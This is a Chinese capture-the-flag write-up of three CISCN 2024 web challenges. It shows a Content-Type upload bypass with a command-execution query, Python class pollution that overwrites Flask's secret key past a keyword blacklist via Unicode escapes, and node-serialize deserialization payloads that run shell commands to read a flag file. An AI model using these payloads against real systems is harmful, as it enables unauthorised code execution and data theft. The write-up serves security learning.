2024-CISCN-SouthEast-Web
Break
0x01-welcome
0x02-submit-BREAK
文件上传;会对Content-Type
做检测直接使用image/png
进行绕过
1 | POST /upload.php HTTP/1.1 |
?_=system&__=cat /flag
0x03-Polluted-BREAK
代码审计
1 | from flask import Flask, session, redirect, url_for,request,render_template |
合并函数
看到这个合并函数马上就可以想到要打Python
原型链污染
根路由
此时在根路由中继续出现合并函数;如果是原型链污染的话可以从这里入手
/admin路由
此时我们看到了flag
的获取逻辑;我们只需要让username == "adminer" and password == app.secret_key
即可获取flag
;那么此时我们就可以利用Python
污染来污染到app.secret_key
值;使得app.secret_key
为我们所控。此时的攻击思路已经出来了;就是利用原型链污染来污染app.secret_key
payload
因为此时存在黑名单
1 | blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string','secret','key','\\'] |
但是因为json
格式可以识别Unicode
编码所以我们直接对其进行Unicode
编码即可
1 | { |
但是此时发现flag的解析存在点问题
二次污染
此时应该要语法标识符是[%flag%]
,那么我们就继续污染jinja2
的语法标识符为[%%]
1 | { |
登录后即可获得flag
0x04-bigfish-BREAK(复盘)
在进行攻击的时候没有做出来这一题;后面在fix
的时候结合源码进行审计之后才发现了问题所在
代码审计
1 | const express = require('express'); |
越权漏洞
此时我们观察到只要即可获取管理员权限;进行越权
1 | cookies.username == "admin" & req.cookies.is_admin == "true" |
即可获取管理员权限;进行越权
Node.js 反序列化漏洞远程执行
此时继续做代码审计会发现存在一个反序列化的点
漏洞原理:
若不可信的数据传入 unserialize()
函数,通过传递立即调用函数表达式(IIFE)的 JavaScript
对象可以实现任意代码执行。
参考文章:https://paper.seebug.org/213/
此时直接上payload
1 | {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /',function(error, stdout, stderr) {console.log(stdout)});}()"} |
此时发现没有回显;那么我们可以将输出结果写入文件;因为刚好这个输入点可以读取文件
payload
1 | {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('cat /this_is_your_ffflagg > /srv/1.txt',function(error,stdout,stderr) {console.log(stdout)});}()"} |
然后修改读取文件的位置之后即可获得flag
。
遗憾总是贯穿人生的始终